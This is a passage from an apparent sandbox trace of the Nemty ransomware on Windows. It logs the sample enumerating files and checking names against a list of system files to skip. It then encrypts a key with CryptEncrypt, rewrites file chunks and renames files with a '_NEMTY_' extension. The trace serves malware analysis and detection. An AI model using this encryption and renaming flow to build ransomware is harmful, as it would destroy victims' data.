lpOverlapped=0x0) returned 0 [0071.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.449] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.468] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.508] CloseHandle (hObject=0xffffffff) returned 0 [0071.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0071.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0071.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63401b8 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0071.508] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv._nemty_kgobjgd_")) returned 0 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0071.508] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0071.508] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2=".") returned 1 [0071.508] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="..") returned 1 [0071.508] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="...") returned 1 [0071.508] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="windows") returned -1 [0071.508] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="rsa") returned -1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="ntldr") returned -1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="IO.SYS") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="boot.ini") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="boot.ini") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="ntuser.dat") returned -1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="desktop.ini") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="RECYCLER") returned -1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="bootmgr") returned 1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="programdata") returned -1 [0071.509] lstrcmpiW (lpString1="Notes_loop_PAL.wmv", lpString2="appdata") returned 1 [0071.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0071.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_loop_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0071.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0071.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0071.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_loop_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0071.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0071.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0071.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0071.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_loop_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0071.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0071.509] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0071.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0071.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Notes_loop_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Notes_loop_PAL.wmv", lpUsedDefaultChar=0x0) returned 18 [0071.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0071.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0071.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0071.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0071.510] Sleep (dwMilliseconds=0x5) [0071.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde4c07d0, dwHighDateTime=0x1d561e7)) [0071.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xde4c07d0, dwHighDateTime=0x1d561e7)) [0071.555] GetLastError () returned 0x5 [0071.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0071.555] GetLastError () returned 0x5 [0071.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0071.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0071.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0071.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0071.556] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0071.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0071.556] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Z9/kSY10ZOH+Y6BHcvfpctJTtlD7PItLQwxdz6OcswEwl851u85DaMkcmk4zC+XP\r\nqf1X+/rmwLXU9fbSp+5bFv3r0Gb9+nvSbg3zvIpnIxnaTmQtmXixCWLKMiyAIO4g\r\nKdgEPVZuAcsKQhq4INA+CqK3sl1F2gfjXqXMRbY2ndyUPyZl1opnISO3j4eB9qN/\r\nc7+vl616KS4MVG7nd9087kyMdKQYVt/hEF/IMxu37w7HAoZrwgCGkuy2zNoPM4Ta\r\nDtkVnJHPZNj5NdFEhQTiti8QUK94xcC137Cz4+jGtAURtMM6Na2q669gW2JFDiil\r\nmUNon6SU1gS6jO4HaJQh0g==\r\n", pcchString=0x653e91c) returned 1 [0071.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0071.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0071.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0071.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0071.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0071.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0071.556] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0071.556] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0071.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0071.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.577] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.577] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.577] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.605] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.605] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.605] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.624] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.624] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.633] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 